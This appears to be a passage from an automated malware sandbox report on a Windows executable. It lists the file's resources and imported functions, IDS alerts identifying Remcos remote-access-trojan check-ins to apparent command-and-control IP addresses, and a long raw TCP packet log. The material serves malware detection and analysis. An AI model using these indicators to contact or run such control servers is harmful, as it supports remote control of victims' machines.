| RT_ICON | 0x71c08 | 0x988 | Device independent bitmap graphic, 24 x 48 x 32, image size 2400 | English | United States | 0.3635245901639344 |
| RT_ICON | 0x72590 | 0x468 | Device independent bitmap graphic, 16 x 32 x 32, image size 1088 | English | United States | 0.4787234042553192 |
| RT_DIALOG | 0x729f8 | 0x120 | data | English | United States | 0.5138888888888888 |
| RT_DIALOG | 0x72b18 | 0x11c | data | English | United States | 0.6056338028169014 |
| RT_DIALOG | 0x72c38 | 0xc4 | data | English | United States | 0.5918367346938775 |
| RT_DIALOG | 0x72d00 | 0x60 | data | English | United States | 0.7291666666666666 |
| RT_GROUP_ICON | 0x72d60 | 0x84 | data | English | United States | 0.7348484848484849 |
| RT_VERSION | 0x72de8 | 0x290 | MS Windows COFF PA-RISC object file | English | United States | 0.5228658536585366 |
| RT_MANIFEST | 0x73078 | 0x422 | XML 1.0 document, ASCII text, with very long lines (1058), with no line terminators | English | United States | 0.5122873345935728 |
| DLL | Import |
|---|---|
| KERNEL32.dll | SetCurrentDirectoryW, GetFileAttributesW, GetFullPathNameW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, MoveFileW, SetFileAttributesW, GetCurrentProcess, ExitProcess, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, WaitForSingleObject, CopyFileW, CompareFileTime, GlobalLock, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, WriteFile, lstrcpyA, lstrcpyW, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GlobalFree, GlobalAlloc, GetShortPathNameW, SearchPathW, lstrcmpiW, SetFileTime, CloseHandle, ExpandEnvironmentStringsW, lstrcmpW, GlobalUnlock, lstrcpynW, GetDiskFreeSpaceW, GetExitCodeProcess, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, MulDiv, MultiByteToWideChar, lstrlenA, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW |
| USER32.dll | GetSystemMenu, SetClassLongW, IsWindowEnabled, EnableMenuItem, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, wsprintfW, ScreenToClient, GetWindowRect, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, LoadImageW, SetTimer, SetWindowTextW, PostQuitMessage, ShowWindow, GetDlgItem, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, DrawTextW, EndPaint, CreateDialogParamW, SendMessageTimeoutW, SetForegroundWindow |
| GDI32.dll | SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor |
| SHELL32.dll | SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW |
| ADVAPI32.dll | RegDeleteKeyW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, AdjustTokenPrivileges, RegOpenKeyExW, RegEnumValueW, RegDeleteValueW, RegCloseKey, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumKeyW |
| COMCTL32.dll | ImageList_AddMasked, ImageList_Destroy, ImageList_Create |
| ole32.dll | OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance |
| Language of compilation system | Country where language is spoken | Map |
|---|---|---|
| English | United States |  |
Key Decision
Richest Path
Thread / callback creation
Lower opacity -> Library Node| Timestamp | SID | Signature | Severity | Source IP | Source Port | Dest IP | Dest Port | Protocol |
|---|---|---|---|---|---|---|---|---|
| 2024-12-13T08:50:06.791648+0100 | 2036594 | ET JA3 Hash - Remcos 3.x/4.x TLS Connection | 1 | 192.168.11.20 | 49717 | 192.169.69.26 | 2889 | TCP |
| 2024-12-13T08:50:35.665130+0100 | 2803270 | ETPRO MALWARE Common Downloader Header Pattern UHCa | 2 | 192.168.11.20 | 49714 | 172.217.215.102 | 443 | TCP |
| 2024-12-13T08:50:48.350112+0100 | 2032776 | ET MALWARE Remcos 3.x Unencrypted Checkin | 1 | 192.168.11.20 | 49716 | 192.169.69.26 | 2879 | TCP |
| 2024-12-13T08:50:49.555506+0100 | 2032776 | ET MALWARE Remcos 3.x Unencrypted Checkin | 1 | 192.168.11.20 | 49718 | 172.111.244.113 | 2879 | TCP |
| 2024-12-13T08:50:49.800765+0100 | 2032777 | ET MALWARE Remcos 3.x Unencrypted Server Response | 1 | 172.111.244.113 | 2879 | 192.168.11.20 | 49718 | TCP |
| 2024-12-13T08:50:50.582431+0100 | 2803304 | ETPRO MALWARE Common Downloader Header Pattern HCa | 3 | 192.168.11.20 | 49719 | 178.237.33.50 | 80 | TCP |
| 2024-12-13T08:53:00.444282+0100 | 2032777 | ET MALWARE Remcos 3.x Unencrypted Server Response | 1 | 172.111.244.113 | 2879 | 192.168.11.20 | 49718 | TCP |
| Timestamp | Source Port | Dest Port | Source IP | Dest IP |
|---|---|---|---|---|
| Dec 13, 2024 08:50:35.169603109 CET | 49714 | 443 | 192.168.11.20 | 172.217.215.102 |
| Dec 13, 2024 08:50:35.169620037 CET | 443 | 49714 | 172.217.215.102 | 192.168.11.20 |
| Dec 13, 2024 08:50:35.169737101 CET | 49714 | 443 | 192.168.11.20 | 172.217.215.102 |
| Dec 13, 2024 08:50:35.182007074 CET | 49714 | 443 | 192.168.11.20 | 172.217.215.102 |
| Dec 13, 2024 08:50:35.182020903 CET | 443 | 49714 | 172.217.215.102 | 192.168.11.20 |
| Dec 13, 2024 08:50:35.423099041 CET | 443 | 49714 | 172.217.215.102 | 192.168.11.20 |
| Dec 13, 2024 08:50:35.423355103 CET | 49714 | 443 | 192.168.11.20 | 172.217.215.102 |
| Dec 13, 2024 08:50:35.424644947 CET | 443 | 49714 | 172.217.215.102 | 192.168.11.20 |
| Dec 13, 2024 08:50:35.424949884 CET | 49714 | 443 | 192.168.11.20 | 172.217.215.102 |
| Dec 13, 2024 08:50:35.451565981 CET | 49714 | 443 | 192.168.11.20 | 172.217.215.102 |
| Dec 13, 2024 08:50:35.451603889 CET | 443 | 49714 | 172.217.215.102 | 192.168.11.20 |
| Dec 13, 2024 08:50:35.452393055 CET | 443 | 49714 | 172.217.215.102 | 192.168.11.20 |
| Dec 13, 2024 08:50:35.452543974 CET | 49714 | 443 | 192.168.11.20 | 172.217.215.102 |
| Dec 13, 2024 08:50:35.457572937 CET | 49714 | 443 | 192.168.11.20 | 172.217.215.102 |
| Dec 13, 2024 08:50:35.498347998 CET | 443 | 49714 | 172.217.215.102 | 192.168.11.20 |
| Dec 13, 2024 08:50:35.665188074 CET | 443 | 49714 | 172.217.215.102 | 192.168.11.20 |
| Dec 13, 2024 08:50:35.665283918 CET | 443 | 49714 | 172.217.215.102 | 192.168.11.20 |
| Dec 13, 2024 08:50:35.665371895 CET | 49714 | 443 | 192.168.11.20 | 172.217.215.102 |
| Dec 13, 2024 08:50:35.665463924 CET | 49714 | 443 | 192.168.11.20 | 172.217.215.102 |
| Dec 13, 2024 08:50:35.665486097 CET | 443 | 49714 | 172.217.215.102 | 192.168.11.20 |
| Dec 13, 2024 08:50:35.665622950 CET | 49714 | 443 | 192.168.11.20 | 172.217.215.102 |
| Dec 13, 2024 08:50:35.665688038 CET | 49714 | 443 | 192.168.11.20 | 172.217.215.102 |
| Dec 13, 2024 08:50:35.829900980 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:35.829935074 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:35.830173969 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:35.830348015 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:35.830368996 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:36.075802088 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:36.076020956 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:36.079479933 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:36.079499006 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:36.079925060 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:36.080051899 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:36.080313921 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:36.122215033 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:38.986263990 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:38.986468077 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:38.986468077 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.002549887 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.002784014 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.002826929 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.019201040 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.019440889 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.019476891 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.019705057 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.100526094 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.100733042 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.100770950 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.100985050 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.104718924 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.104882002 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.104918003 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.105120897 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.113007069 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.113217115 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.113255024 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.113415003 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.121316910 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.121503115 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.121543884 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.121731997 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.129626989 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.129869938 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.129906893 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.130090952 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.137981892 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.138180971 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.138226986 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.138438940 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.146343946 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.146559954 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.146595955 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.146859884 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.154599905 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.154774904 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.154810905 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.155039072 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.162853003 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.163078070 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.163115025 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.163347006 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.171139956 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.172079086 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.172117949 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.172594070 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.179433107 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.179647923 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.179685116 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.179936886 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.187735081 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.187968016 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.188004017 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.188189983 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.195971966 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.196141958 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.196177959 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.196342945 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.204282999 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.204459906 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.204497099 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.204777002 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.214865923 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.215044022 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.215060949 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.215233088 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.219387054 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.219563007 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.219572067 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.219728947 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.225747108 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.226068020 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.226079941 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.226219893 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.232127905 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.232595921 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.232633114 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.232983112 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.237773895 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.238051891 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.238069057 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.238279104 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.243546963 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.243864059 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.243884087 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.244148016 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.249444008 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.249655962 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.249696016 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.249865055 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.255219936 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.255494118 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.255533934 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.255714893 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.261007071 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.261213064 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.261251926 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.261459112 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.266820908 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.267024040 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.267066002 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.267250061 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.272531986 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.272722006 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.272758007 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.272975922 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.278315067 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.278579950 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.278620005 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.278888941 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.284058094 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.284281015 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.284322977 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.284486055 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.289855957 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.290080070 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.290118933 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.290328026 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.295358896 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.295557976 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.295595884 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.295793056 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.300887108 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.301095009 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.301136971 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.301393986 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.306116104 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.306341887 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.306380987 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.306607962 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.311209917 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.311534882 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.311570883 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.311849117 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.316267967 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.316467047 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.316508055 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.316751957 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.321202040 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.321413040 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.321449995 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.321676016 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.326172113 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.326443911 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.326479912 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.326708078 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.331021070 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.331243992 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.331279993 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.331531048 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.335822105 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.336105108 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.336141109 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.336384058 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.340671062 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.340861082 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.340900898 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.341082096 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.343508959 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.343842030 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.343882084 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.344126940 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.346453905 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.346724033 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.346760035 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.346978903 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.349284887 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.349524975 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.349564075 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.349809885 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.352138042 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.352353096 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.352392912 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.352561951 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.354890108 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.355099916 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.355135918 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.355331898 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.357805014 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.357989073 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.358025074 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.358175039 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.360656977 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
| Dec 13, 2024 08:50:39.360847950 CET | 49715 | 443 | 192.168.11.20 | 108.177.122.132 |
| Dec 13, 2024 08:50:39.360886097 CET | 443 | 49715 | 108.177.122.132 | 192.168.11.20 |
